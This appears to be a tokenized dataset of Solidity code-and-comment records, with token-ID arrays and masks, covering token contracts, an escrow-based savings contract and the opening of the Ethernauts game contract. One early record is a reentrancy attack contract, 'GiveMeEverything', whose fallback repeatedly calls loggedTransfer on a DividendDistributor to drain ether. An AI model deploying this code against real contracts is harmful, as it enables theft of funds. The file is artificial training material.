[ 1, 19, 4766, 4202, 8730, 22965, 55, 19694, 18378, 4766, 4202, 9964, 2030, 7263, 7022, 55, 21394, 368, 225, 11417, 1377, 1021, 7286, 310, 2236, 12724, 6835, 5541, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 3885, 12, 2867, 1122, 29752, 1369, 13, 1071, 288, 203, 3639, 6835, 5541, 273, 1234, 18, 15330, 31, 203, 3639, 26940, 29752, 1369, 63, 3645, 29752, 1369, 65, 273, 638, 31, 203, 3639, 23350, 3548, 18, 6206, 12, 3645, 29752, 1369, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.4.0; import "5.sol"; contract GiveMeEverything { DividendDistributor public dd; uint64 public theif_counter; constructor() payable { } function startAttack(address _addr) public { dd = DividendDistributor(_addr); theif_counter++; //dd.loggedTransfer.value(1 ether)(1 ether, "Zoro!", address(this), address(this)); dd.loggedTransfer(1 ether, "Zoro!", address(this), address(this)); } function() public payable { // tries to steal a limited times to that the attack is successful (does not drain the resources) if (theif_counter < 5) { //dd.loggedTransfer.value(1 ether)(1 ether, "Zoro!", address(this), address(this)); theif_counter++; dd.loggedTransfer(1 ether, "Zoro!", address(this), address(this)); } } }
dd.loggedTransfer.value(1 ether)(1 ether, "Zoro!", address(this), address(this));
function startAttack(address _addr) public { dd = DividendDistributor(_addr); theif_counter++; dd.loggedTransfer(1 ether, "Zoro!", address(this), address(this)); }
12,694,330
[ 1, 449, 18, 19385, 5912, 18, 1132, 12, 21, 225, 2437, 21433, 21, 225, 2437, 16, 315, 62, 280, 83, 5, 3113, 1758, 12, 2211, 3631, 1758, 12, 2211, 10019, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 787, 3075, 484, 12, 2867, 389, 4793, 13, 1071, 288, 203, 3639, 6957, 273, 21411, 26746, 1669, 19293, 24899, 4793, 1769, 203, 1171, 203, 3639, 326, 430, 67, 7476, 9904, 31, 203, 540, 203, 3639, 6957, 18, 19385, 5912, 12, 21, 225, 2437, 16, 315, 62, 280, 83, 5, 3113, 1758, 12, 2211, 3631, 1758, 12, 2211, 10019, 203, 540, 203, 565, 289, 203, 377, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/1/0xb55D46Cf155c3998979D095081E1AD7a5Af7BB0e/sources/HashcoCoin.sol
------------------------------------------------------------------------ Total supply ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) { return _totalSupply - tokenBalances[address(0)]; }
4,209,539
[ 1, 29461, 10710, 14467, 8879, 17082, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 377, 445, 2078, 3088, 1283, 1435, 1071, 5381, 1135, 261, 11890, 13, 288, 203, 540, 327, 389, 4963, 3088, 1283, 225, 300, 1147, 38, 26488, 63, 2867, 12, 20, 13, 15533, 203, 377, 289, 203, 1377, 203, 377, 203, 1377, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/1/0xd72F9DE3386439f869cEA36836C6b27c4c9F9036/sources/Okay.sol
exclude from paying fees or having max transaction amount
constructor() ERC20("I'M OKAY WITH THE EVENTS THAT ARE UNFOLDING CURRENTLY", "OKAY") { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); excludeFromMaxTransaction(address(_uniswapV2Router), true); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); excludeFromMaxTransaction(address(uniswapV2Pair), true); _setAutomatedMarketMakerPair(address(uniswapV2Pair), true); uint256 _buyMarketingFee = 5; uint256 _buyLiquidityFee = 0; uint256 _buyDevFee = 25; uint256 _sellMarketingFee = 10; uint256 _sellLiquidityFee = 0; uint256 _sellDevFee = 20; uint256 _feeDenominator = 100; uint256 totalSupply = 1_000_000 * 1e18; feeDenominator = _feeDenominator; buyMarketingFee = _buyMarketingFee; buyLiquidityFee = _buyLiquidityFee; buyDevFee = _buyDevFee; buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee; sellMarketingFee = _sellMarketingFee; sellLiquidityFee = _sellLiquidityFee; sellDevFee = _sellDevFee; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee; excludeFromFees(owner(), true); excludeFromFees(devWallet, true); excludeFromFees(address(this), true); excludeFromFees(address(0xdead), true); excludeFromMaxTransaction(owner(), true); excludeFromMaxTransaction(devWallet, true); excludeFromMaxTransaction(address(this), true); excludeFromMaxTransaction(address(0xdead), true); _mint is an internal function in ERC20.sol that is only called here, and CANNOT be called ever again _mint(msg.sender, totalSupply);
3,677,428
[ 1, 10157, 628, 8843, 310, 1656, 281, 578, 7999, 943, 2492, 3844, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 3885, 1435, 4232, 39, 3462, 2932, 45, 11, 49, 7791, 5255, 13601, 12786, 9964, 55, 7662, 789, 432, 862, 5019, 42, 11846, 1360, 18484, 7076, 3113, 315, 3141, 5255, 7923, 288, 203, 7010, 3639, 467, 984, 291, 91, 438, 58, 22, 8259, 3103, 389, 318, 291, 91, 438, 58, 22, 8259, 273, 467, 984, 291, 91, 438, 58, 22, 8259, 3103, 12, 20, 92, 27, 69, 26520, 72, 4313, 5082, 38, 24, 71, 42, 25, 5520, 27, 5520, 72, 42, 22, 39, 25, 72, 37, 7358, 24, 71, 26, 6162, 42, 3247, 5482, 40, 1769, 203, 7010, 3639, 4433, 1265, 2747, 3342, 12, 2867, 24899, 318, 291, 91, 438, 58, 22, 8259, 3631, 638, 1769, 203, 3639, 640, 291, 91, 438, 58, 22, 8259, 273, 389, 318, 291, 91, 438, 58, 22, 8259, 31, 203, 7010, 3639, 640, 291, 91, 438, 58, 22, 4154, 273, 467, 984, 291, 91, 438, 58, 22, 1733, 24899, 318, 291, 91, 438, 58, 22, 8259, 18, 6848, 1435, 2934, 2640, 4154, 12, 2867, 12, 2211, 3631, 389, 318, 291, 91, 438, 58, 22, 8259, 18, 59, 1584, 44, 10663, 203, 3639, 4433, 1265, 2747, 3342, 12, 2867, 12, 318, 291, 91, 438, 58, 22, 4154, 3631, 638, 1769, 203, 3639, 389, 542, 22932, 690, 3882, 278, 12373, 4154, 12, 2867, 12, 318, 291, 91, 438, 58, 22, 4154, 3631, 638, 1769, 203, 7010, 3639, 2254, 5034, 389, 70, 9835, 3882, 21747, 14667, 273, 1381, 31, 203, 3639, 2254, 5034, 389, 70, 9835, 48, 18988, 24237, 14667, 273, 2 ]
// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.6.0; import "./Escrow.sol"; import "./provableAPI_0.6.sol"; import "./Owned.sol"; import "./Savings.sol"; contract Main is Owned, usingProvable{ Escrow escrow; Savings fundsSaver; mapping (address => uint256) accountTarget; mapping (address => uint256) targetAchieved; mapping (address => bool) targetStatus; // {false: close/stop, true: open/running} mapping (bytes32 => address) awaitedQuery; constructor() public payable{ require(msg.value >= 0.5 ether); } function setAddresses(address payable _escrowAddress, address _savingsAddress) public onlyOwner{ escrow = Escrow(_escrowAddress); fundsSaver = Savings(_savingsAddress); } function setTarget(uint256 _target) external payable{ require(accountTarget[msg.sender] == 0, "Not allowed: you already have a running target"); accountTarget[msg.sender] = _target; // send received payment to Escrow escrow.addPayment{value:msg.value}(msg.sender); // make an oraclize query initiateProvableQuery(); } function initiateProvableQuery() public { awaitedQuery[provable_query(10 minutes, "URL", "")] = msg.sender; } function __callback(bytes32 myid, string memory result) public override { if (msg.sender != provable_cbAddress()) revert(); // after 10 minutes // ask for payment from escrow of the payer (who is initiator of the query) escrow.requestPayment(awaitedQuery[myid]); } function receivePayment(address _of) public payable{ require(msg.sender == address(escrow)); // receive payment of the the address passed in args _of // sends the payment to the savings Account fundsSaver.saveFunds{value:msg.value}(_of); // add the received savings to the targetAchieved targetAchieved[_of] += msg.value; // check if we have achieved the set target? if(targetAchieved[_of] != accountTarget[_of] && msg.value > 0){ // send another provable query initiateProvableQuery(); } } function isTargetReached() public view returns(bool) { if(targetAchieved[msg.sender] == accountTarget[msg.sender]) return true; else return false; } function stopMyRequest(address payable _achievedTargetCollector) public { // checks if accountTarget is not zero require(accountTarget[msg.sender] != 0, "not exisiting target"); targetStatus[msg.sender] = false; // request payment refund from savings fundsSaver.withdrawFunds(msg.sender, _achievedTargetCollector); } function withdrawTargetFromSavings(address _of, address payable _achievedTargetCollector) public payable{ require(msg.sender == address(fundsSaver)); // send the achieved target to the address passed in args _achievedTargetCollector _achievedTargetCollector.transfer(msg.value); // make the target achieved and target set to zero accountTarget[_of] = 0; targetAchieved[_of] = 0; } function balance() public view returns(uint256){ return (address(this).balance); } fallback() external payable{ require(msg.value >= 0.5 ether); } }
send the achieved target to the address passed in args _achievedTargetCollector make the target achieved and target set to zero
function withdrawTargetFromSavings(address _of, address payable _achievedTargetCollector) public payable{ require(msg.sender == address(fundsSaver)); _achievedTargetCollector.transfer(msg.value); accountTarget[_of] = 0; targetAchieved[_of] = 0; }
7,320,743
[ 1, 4661, 326, 20186, 2155, 1018, 358, 326, 1758, 2275, 316, 833, 389, 497, 1385, 2155, 2326, 7134, 1221, 326, 1018, 20186, 2155, 471, 1018, 444, 358, 3634, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 598, 9446, 2326, 31145, 27497, 12, 2867, 389, 792, 16, 1758, 8843, 429, 389, 497, 1385, 2155, 2326, 7134, 13, 1071, 8843, 429, 95, 203, 3639, 2583, 12, 3576, 18, 15330, 422, 1758, 12, 74, 19156, 55, 21851, 10019, 203, 540, 203, 3639, 389, 497, 1385, 2155, 2326, 7134, 18, 13866, 12, 3576, 18, 1132, 1769, 203, 540, 203, 3639, 2236, 2326, 63, 67, 792, 65, 273, 374, 31, 203, 3639, 1018, 37, 17384, 2155, 63, 67, 792, 65, 273, 374, 31, 203, 565, 289, 203, 377, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
//Address: 0x10a5f6dbd1f9e56fe09df25b1163cd299d5d2413 //Contract name: EthernautsExplore //Balance: 0.251 Ether //Verification Date: 4/24/2018 //Transacion Count: 727 // CODE STARTS HERE pragma solidity ^0.4.19; /// @title Interface for contracts conforming to ERC-721: Non-Fungible Tokens /// @author Ethernauts contract ERC721 { // Required methods function totalSupply() public view returns (uint256 total); function balanceOf(address _owner) public view returns (uint256 balance); function ownerOf(uint256 _tokenId) external view returns (address owner); function approve(address _to, uint256 _tokenId) external; function transfer(address _to, uint256 _tokenId) external; function transferFrom(address _from, address _to, uint256 _tokenId) external; function takeOwnership(uint256 _tokenId) public; function implementsERC721() public pure returns (bool); // Events event Transfer(address from, address to, uint256 tokenId); event Approval(address owner, address approved, uint256 tokenId); // Optional // function name() public view returns (string name); // function symbol() public view returns (string symbol); // function tokensOfOwner(address _owner) external view returns (uint256[] tokenIds); // function tokenMetadata(uint256 _tokenId, string _preferredTransport) public view returns (string infoUrl); // ERC-165 Compatibility (https://github.com/ethereum/EIPs/issues/165) function supportsInterface(bytes4 _interfaceID) external view returns (bool); } // Extend this library for child contracts library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } /** * @dev Compara two numbers, and return the bigger one. */ function max(int256 a, int256 b) internal pure returns (int256) { if (a > b) { return a; } else { return b; } } /** * @dev Compara two numbers, and return the bigger one. */ function min(int256 a, int256 b) internal pure returns (int256) { if (a < b) { return a; } else { return b; } } } /// @dev Base contract for all Ethernauts contracts holding global constants and functions. contract EthernautsBase { /*** CONSTANTS USED ACROSS CONTRACTS ***/ /// @dev Used by all contracts that interfaces with Ethernauts /// The ERC-165 interface signature for ERC-721. /// Ref: https://github.com/ethereum/EIPs/issues/165 /// Ref: https://github.com/ethereum/EIPs/issues/721 bytes4 constant InterfaceSignature_ERC721 = bytes4(keccak256('name()')) ^ bytes4(keccak256('symbol()')) ^ bytes4(keccak256('totalSupply()')) ^ bytes4(keccak256('balanceOf(address)')) ^ bytes4(keccak256('ownerOf(uint256)')) ^ bytes4(keccak256('approve(address,uint256)')) ^ bytes4(keccak256('transfer(address,uint256)')) ^ bytes4(keccak256('transferFrom(address,address,uint256)')) ^ bytes4(keccak256('takeOwnership(uint256)')) ^ bytes4(keccak256('tokensOfOwner(address)')) ^ bytes4(keccak256('tokenMetadata(uint256,string)')); /// @dev due solidity limitation we cannot return dynamic array from methods /// so it creates incompability between functions across different contracts uint8 public constant STATS_SIZE = 10; uint8 public constant SHIP_SLOTS = 5; // Possible state of any asset enum AssetState { Available, UpForLease, Used } // Possible state of any asset // NotValid is to avoid 0 in places where category must be bigger than zero enum AssetCategory { NotValid, Sector, Manufacturer, Ship, Object, Factory, CrewMember } /// @dev Sector stats enum ShipStats {Level, Attack, Defense, Speed, Range, Luck} /// @notice Possible attributes for each asset /// 00000001 - Seeded - Offered to the economy by us, the developers. Potentially at regular intervals. /// 00000010 - Producible - Product of a factory and/or factory contract. /// 00000100 - Explorable- Product of exploration. /// 00001000 - Leasable - Can be rented to other users and will return to the original owner once the action is complete. /// 00010000 - Permanent - Cannot be removed, always owned by a user. /// 00100000 - Consumable - Destroyed after N exploration expeditions. /// 01000000 - Tradable - Buyable and sellable on the market. /// 10000000 - Hot Potato - Automatically gets put up for sale after acquiring. bytes2 public ATTR_SEEDED = bytes2(2**0); bytes2 public ATTR_PRODUCIBLE = bytes2(2**1); bytes2 public ATTR_EXPLORABLE = bytes2(2**2); bytes2 public ATTR_LEASABLE = bytes2(2**3); bytes2 public ATTR_PERMANENT = bytes2(2**4); bytes2 public ATTR_CONSUMABLE = bytes2(2**5); bytes2 public ATTR_TRADABLE = bytes2(2**6); bytes2 public ATTR_GOLDENGOOSE = bytes2(2**7); } /// @notice This contract manages the various addresses and constraints for operations // that can be executed only by specific roles. Namely CEO and CTO. it also includes pausable pattern. contract EthernautsAccessControl is EthernautsBase { // This facet controls access control for Ethernauts. // All roles have same responsibilities and rights, but there is slight differences between them: // // - The CEO: The CEO can reassign other roles and only role that can unpause the smart contract. // It is initially set to the address that created the smart contract. // // - The CTO: The CTO can change contract address, oracle address and plan for upgrades. // // - The COO: The COO can change contract address and add create assets. // /// @dev Emited when contract is upgraded - See README.md for updgrade plan /// @param newContract address pointing to new contract event ContractUpgrade(address newContract); // The addresses of the accounts (or contracts) that can execute actions within each roles. address public ceoAddress; address public ctoAddress; address public cooAddress; address public oracleAddress; // @dev Keeps track whether the contract is paused. When that is true, most actions are blocked bool public paused = false; /// @dev Access modifier for CEO-only functionality modifier onlyCEO() { require(msg.sender == ceoAddress); _; } /// @dev Access modifier for CTO-only functionality modifier onlyCTO() { require(msg.sender == ctoAddress); _; } /// @dev Access modifier for CTO-only functionality modifier onlyOracle() { require(msg.sender == oracleAddress); _; } modifier onlyCLevel() { require( msg.sender == ceoAddress || msg.sender == ctoAddress || msg.sender == cooAddress ); _; } /// @dev Assigns a new address to act as the CEO. Only available to the current CEO. /// @param _newCEO The address of the new CEO function setCEO(address _newCEO) external onlyCEO { require(_newCEO != address(0)); ceoAddress = _newCEO; } /// @dev Assigns a new address to act as the CTO. Only available to the current CTO or CEO. /// @param _newCTO The address of the new CTO function setCTO(address _newCTO) external { require( msg.sender == ceoAddress || msg.sender == ctoAddress ); require(_newCTO != address(0)); ctoAddress = _newCTO; } /// @dev Assigns a new address to act as the COO. Only available to the current COO or CEO. /// @param _newCOO The address of the new COO function setCOO(address _newCOO) external { require( msg.sender == ceoAddress || msg.sender == cooAddress ); require(_newCOO != address(0)); cooAddress = _newCOO; } /// @dev Assigns a new address to act as oracle. /// @param _newOracle The address of oracle function setOracle(address _newOracle) external { require(msg.sender == ctoAddress); require(_newOracle != address(0)); oracleAddress = _newOracle; } /*** Pausable functionality adapted from OpenZeppelin ***/ /// @dev Modifier to allow actions only when the contract IS NOT paused modifier whenNotPaused() { require(!paused); _; } /// @dev Modifier to allow actions only when the contract IS paused modifier whenPaused { require(paused); _; } /// @dev Called by any "C-level" role to pause the contract. Used only when /// a bug or exploit is detected and we need to limit damage. function pause() external onlyCLevel whenNotPaused { paused = true; } /// @dev Unpauses the smart contract. Can only be called by the CEO, since /// one reason we may pause the contract is when CTO account is compromised. /// @notice This is public rather than external so it can be called by /// derived contracts. function unpause() public onlyCEO whenPaused { // can't unpause if contract was upgraded paused = false; } } /// @title Storage contract for Ethernauts Data. Common structs and constants. /// @notice This is our main data storage, constants and data types, plus // internal functions for managing the assets. It is isolated and only interface with // a list of granted contracts defined by CTO /// @author Ethernauts - Fernando Pauer contract 